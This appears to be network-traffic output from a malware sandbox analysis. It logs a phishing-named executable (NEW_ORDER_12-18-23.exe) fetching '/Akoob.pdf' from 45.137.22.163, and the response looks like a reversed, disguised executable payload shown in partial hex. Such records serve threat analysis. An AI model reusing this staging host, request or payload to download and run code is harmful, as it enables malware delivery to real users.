Dec 18, 2023 14:31:27.806776047 CET	80	49737	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:27.806798935 CET	49737	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:27.806824923 CET	80	49737	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:27.806868076 CET	49737	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:27.806924105 CET	80	49737	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:27.807015896 CET	80	49737	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:27.807029009 CET	80	49737	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:27.807040930 CET	80	49737	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:27.807070017 CET	49737	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:27.807076931 CET	80	49737	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:27.807080984 CET	49737	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:27.807135105 CET	80	49737	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:27.807199001 CET	80	49737	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:27.807235956 CET	80	49737	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:27.807241917 CET	49737	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:27.807301044 CET	80	49737	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:27.807312012 CET	80	49737	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:27.807341099 CET	49737	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:27.807360888 CET	80	49737	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:27.807410955 CET	80	49737	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:27.807450056 CET	80	49737	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:27.807452917 CET	49737	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:27.807508945 CET	80	49737	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:27.807549000 CET	49737	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:27.807578087 CET	80	49737	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:27.807712078 CET	80	49737	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:27.807754993 CET	80	49737	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:27.807760954 CET	49737	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:27.807811022 CET	80	49737	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:27.807852983 CET	49737	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:27.807867050 CET	80	49737	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:27.807929039 CET	80	49737	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:27.807970047 CET	49737	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:27.807991028 CET	80	49737	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:27.808049917 CET	80	49737	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:27.808092117 CET	49737	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:27.808120966 CET	80	49737	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:27.808134079 CET	80	49737	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:27.808173895 CET	49737	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:27.808187962 CET	80	49737	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:27.808224916 CET	80	49737	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:27.808263063 CET	49737	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:27.808334112 CET	80	49737	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:27.808388948 CET	80	49737	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:27.808433056 CET	80	49737	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:27.808475971 CET	80	49737	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:27.808501959 CET	49737	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:27.808521032 CET	80	49737	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:27.808563948 CET	49737	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:27.808590889 CET	80	49737	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:27.808644056 CET	80	49737	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:27.808685064 CET	49737	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:27.808696985 CET	80	49737	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:27.808748960 CET	80	49737	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:27.808758974 CET	80	49737	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:27.808788061 CET	49737	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:27.808804035 CET	80	49737	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:27.808857918 CET	80	49737	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:27.808907986 CET	80	49737	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:27.808937073 CET	49737	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:27.808959961 CET	80	49737	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:27.808995008 CET	80	49737	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:27.809003115 CET	49737	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:27.809051037 CET	80	49737	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:27.809089899 CET	49737	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:27.809108973 CET	80	49737	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:27.809154987 CET	80	49737	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:27.809165955 CET	80	49737	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:27.809197903 CET	49737	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:27.809217930 CET	80	49737	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:27.809238911 CET	80	49737	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:27.809278965 CET	49737	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:27.809282064 CET	80	49737	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:27.809295893 CET	80	49737	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:27.809305906 CET	80	49737	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:27.809340000 CET	49737	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:27.809369087 CET	80	49737	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:27.809381962 CET	80	49737	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:27.809393883 CET	80	49737	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:27.809418917 CET	49737	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:27.809426069 CET	80	49737	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:27.809437037 CET	80	49737	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:27.809458971 CET	80	49737	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:27.809463978 CET	49737	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:27.809472084 CET	80	49737	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:27.809513092 CET	49737	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:27.809515953 CET	80	49737	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:27.809526920 CET	80	49737	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:27.809539080 CET	80	49737	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:27.809561014 CET	80	49737	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:27.809566975 CET	49737	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:27.809571981 CET	80	49737	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:27.809581995 CET	80	49737	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:27.809607029 CET	49737	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:27.809623957 CET	80	49737	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:27.809634924 CET	80	49737	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:27.809652090 CET	80	49737	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:27.809663057 CET	49737	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:27.809665918 CET	80	49737	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:27.809676886 CET	80	49737	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:27.809714079 CET	49737	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:27.809734106 CET	80	49737	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:27.809746027 CET	80	49737	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:27.809770107 CET	80	49737	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:27.809792995 CET	49737	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:27.809834003 CET	80	49737	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:27.809844971 CET	80	49737	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:27.809854984 CET	80	49737	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:27.809879065 CET	49737	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:27.809962034 CET	80	49737	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:27.809972048 CET	80	49737	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:27.810007095 CET	49737	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:27.810026884 CET	80	49737	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:27.810056925 CET	80	49737	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:27.810066938 CET	80	49737	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:27.810091019 CET	80	49737	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:27.810096025 CET	49737	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:27.810148001 CET	80	49737	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:27.810159922 CET	80	49737	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:27.810170889 CET	80	49737	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:27.810188055 CET	49737	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:27.810210943 CET	49737	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:27.810262918 CET	80	49737	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:27.810364962 CET	80	49737	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:27.810379982 CET	80	49737	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:27.810405016 CET	49737	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:27.810532093 CET	80	49737	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:27.810615063 CET	80	49737	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:27.810626030 CET	80	49737	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:27.810669899 CET	49737	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:27.810723066 CET	80	49737	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:27.810775995 CET	80	49737	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:27.810786963 CET	80	49737	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:27.810820103 CET	49737	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:27.810868025 CET	80	49737	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:27.810898066 CET	80	49737	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:27.810929060 CET	80	49737	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:27.810939074 CET	49737	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:27.810941935 CET	80	49737	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:27.810962915 CET	80	49737	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:27.810980082 CET	49737	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:27.811019897 CET	80	49737	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:27.811062098 CET	49737	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:27.811098099 CET	80	49737	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:27.811141968 CET	80	49737	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:27.811167955 CET	80	49737	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:27.811187029 CET	49737	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:27.811240911 CET	80	49737	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:27.811297894 CET	80	49737	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:27.811307907 CET	80	49737	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:27.811337948 CET	49737	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:27.861166000 CET	80	49737	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:27.904129982 CET	49737	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:28.044634104 CET	80	49737	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:28.044717073 CET	80	49737	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:28.044764996 CET	49737	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:28.044780970 CET	80	49737	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:28.044835091 CET	80	49737	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:28.044878006 CET	49737	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:28.044898987 CET	80	49737	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:28.044981956 CET	80	49737	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:28.045018911 CET	49737	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:28.045063972 CET	80	49737	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:28.045136929 CET	80	49737	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:28.045181990 CET	80	49737	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:28.045186043 CET	49737	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:28.045243979 CET	80	49737	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:28.045284033 CET	49737	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:28.045300961 CET	80	49737	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:28.045376062 CET	80	49737	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:28.045414925 CET	49737	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:28.045416117 CET	80	49737	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:28.045480967 CET	80	49737	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:28.045516014 CET	49737	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:28.045542955 CET	80	49737	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:28.045597076 CET	80	49737	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:28.045636892 CET	49737	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:28.045643091 CET	80	49737	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:28.045713902 CET	80	49737	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:28.045753002 CET	49737	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:28.045759916 CET	80	49737	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:28.045818090 CET	80	49737	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:28.045856953 CET	49737	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:28.045892000 CET	80	49737	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:28.045993090 CET	80	49737	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:28.046030045 CET	49737	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:28.046097994 CET	80	49737	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:28.046154022 CET	80	49737	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:28.046185017 CET	49737	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:28.046250105 CET	80	49737	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:28.046272993 CET	80	49737	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:28.046312094 CET	49737	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:28.046333075 CET	80	49737	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:28.046427965 CET	80	49737	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:28.046473980 CET	49737	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:28.046503067 CET	80	49737	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:28.046586037 CET	80	49737	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:28.046629906 CET	49737	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:28.046648026 CET	80	49737	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:28.046694040 CET	80	49737	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:28.046734095 CET	49737	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:28.046762943 CET	80	49737	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:28.046823978 CET	80	49737	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:28.046879053 CET	80	49737	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:28.046897888 CET	49737	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:28.046973944 CET	80	49737	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:28.047017097 CET	49737	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:28.047023058 CET	80	49737	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:28.047095060 CET	80	49737	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:28.047137022 CET	49737	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:28.047156096 CET	80	49737	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:28.047209978 CET	80	49737	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:28.047246933 CET	49737	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:28.047280073 CET	80	49737	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:28.047355890 CET	80	49737	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:28.047394037 CET	49737	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:28.047422886 CET	80	49737	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:28.047930956 CET	80	49737	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:28.047971964 CET	49737	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:28.048002005 CET	80	49737	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:28.048101902 CET	80	49737	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:28.048136950 CET	80	49737	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:28.048139095 CET	49737	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:28.048235893 CET	80	49737	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:28.048273087 CET	49737	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:28.048302889 CET	80	49737	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:28.048314095 CET	80	49737	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:28.048393965 CET	80	49737	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:28.048433065 CET	49737	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:28.048506975 CET	80	49737	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:28.048582077 CET	80	49737	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:28.048619986 CET	49737	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:28.048670053 CET	80	49737	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:28.048687935 CET	80	49737	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:28.048736095 CET	49737	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:28.048785925 CET	80	49737	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:28.048841953 CET	80	49737	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:28.048851967 CET	80	49737	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:28.048892021 CET	49737	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:28.048926115 CET	80	49737	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:28.049027920 CET	80	49737	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:28.049071074 CET	49737	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:28.049098969 CET	80	49737	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:28.049174070 CET	80	49737	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:28.049215078 CET	49737	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:28.049238920 CET	80	49737	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:28.049307108 CET	80	49737	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:28.049351931 CET	49737	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:28.049384117 CET	80	49737	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:28.049470901 CET	80	49737	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:28.049782991 CET	49737	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:29.226035118 CET	49737	80	192.168.2.4	45.137.22.163

HTTP Request Dependency Graph

45.137.22.163

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49729	45.137.22.163	80	7272	C:\Users\user\Desktop\NEW_ORDER_12-18-23.exe

Timestamp	Bytes transferred	Direction	Data
Dec 18, 2023 14:31:03.739526987 CET	72	OUT	GET /Akoob.pdf HTTP/1.1 Host: 45.137.22.163 Connection: Keep-Alive
Dec 18, 2023 14:31:04.294747114 CET	72	OUT	GET /Akoob.pdf HTTP/1.1 Host: 45.137.22.163 Connection: Keep-Alive
Dec 18, 2023 14:31:04.534419060 CET	1286	IN	HTTP/1.1 200 OK Content-Type: application/pdf Last-Modified: Mon, 18 Dec 2023 07:44:11 GMT Accept-Ranges: bytes ETag: "8420c6fd8531da1:0" Server: Microsoft-IIS/8.5 Date: Mon, 18 Dec 2023 13:31:04 GMT Content-Length: 665600 Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 3e 70 00 00 00 0c 00 0a 30 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 30 00 2e 00 30 00 2e 00 30 00 2e 00 31 00 00 00 6e 00 6f 00 69 00 73 00 72 00 65 00 56 00 20 00 79 00 6c 00 62 00 6d 00 65 00 73 00 73 00 41 00 01 00 08 00 38 00 00 00 30 00 2e 00 30 00 2e 00 30 00 2e 00 31 00 00 00 6e 00 6f 00 69 00 73 00 72 00 65 00 56 00 74 00 63 00 75 00 64 00 6f 00 72 00 50 00 01 00 08 00 34 00 00 00 00 00 00 00 00 00 65 00 6d 00 61 00 4e 00 74 00 63 00 75 00 64 00 6f 00 72 00 50 00 01 00 01 00 22 00 00 00 6c 00 6c 00 64 00 2e 00 67 00 64 00 74 00 68 00 41 00 00 00 65 00 6d 00 61 00 6e 00 65 00 6c 00 69 00 46 00 6c 00 61 00 6e 00 69 00 67 00 69 00 72 00 4f 00 01 00 0a 00 3c 00 00 00 00 00 00 00 00 00 73 00 6b 00 72 00 61 00 6d 00 65 00 64 00 61 00 72 00 54 00 6c 00 61 00 67 00 65 00 4c 00 01 00 01 00 2a 00 00 00 00 00 00 00 74 00 68 00 67 00 69 00 72 00 79 00 70 00 6f 00 43 00 6c 00 61 00 67 00 65 00 4c 00 01 00 01 00 26 00 00 00 6c 00 6c 00 64 00 2e 00 67 00 64 00 74 00 68 00 41 00 00 00 65 00 6d 00 61 00 4e 00 6c 00 Data Ascii: >p00.0.0.1noisreV ylbmessA80.0.0.1noisreVtcudorP4emaNtcudorP"lld.gdthAemaneliFlanigirO<skramedarTlageL*thgirypoClageL&lld.gdthAemaNl
Dec 18, 2023 14:31:04.534451962 CET	1286	IN	Data Raw: 61 00 6e 00 72 00 65 00 74 00 6e 00 49 00 01 00 0a 00 34 00 00 00 30 00 2e 00 30 00 2e 00 30 00 2e 00 31 00 00 00 00 00 6e 00 6f 00 69 00 73 00 72 00 65 00 56 00 65 00 6c 00 69 00 46 00 01 00 08 00 30 00 00 00 00 00 00 00 00 00 6e 00 6f 00 69 00 Data Ascii: anretnI40.0.0.1noisreVeliF0noitpircseDeliF*emaNynapmoC"stnemmoC0b400000ofnIeliFgnirtS,
Dec 18, 2023 14:31:04.534463882 CET	1286	IN	Data Raw: d3 fb c8 d8 a1 e6 81 02 44 14 53 d6 2f 10 5d e9 b6 c7 aa 26 5e 5a 51 c0 40 b3 40 f6 1e 25 62 49 b4 08 21 a6 79 43 8e fd 98 71 93 6b 90 11 22 89 5c d7 be ff ff 5b b1 8b 44 f7 af 69 80 98 d8 fd 46 95 01 a8 30 46 13 47 87 c6 2a f5 7c 0f af c1 bd ce Data Ascii: DS/]&^ZQ@@%bI!yCqk"\[DiF0FG*\|$ pVjx=7:\55quw}jBHHt@9IH$dceK:J}kG&J0y-{HD0 0MKDXBg
Dec 18, 2023 14:31:04.534478903 CET	1286	IN	Data Raw: 70 25 3b 54 85 53 cb 2e 88 f7 da ca f7 d1 01 ae bf fe cd 67 a8 a8 60 c9 d7 74 94 8b e1 67 4e fa 83 6e 84 b5 53 82 bd 2d d5 9c b3 27 4b 26 94 cd 98 1e e6 37 da 49 66 cd bc a2 8e 28 18 cd 7e dd 9d de e4 b8 e2 3f 6d ac d9 98 21 c4 0b 07 b0 b5 ba d2 Data Ascii: p%;TS.g`tgNnS-'K&7If(~?m!BvF%;@E!K#EsTF$dYXoFC(vVCQ%\IA%+6--ZPZ+%%f~fj&0(_bj
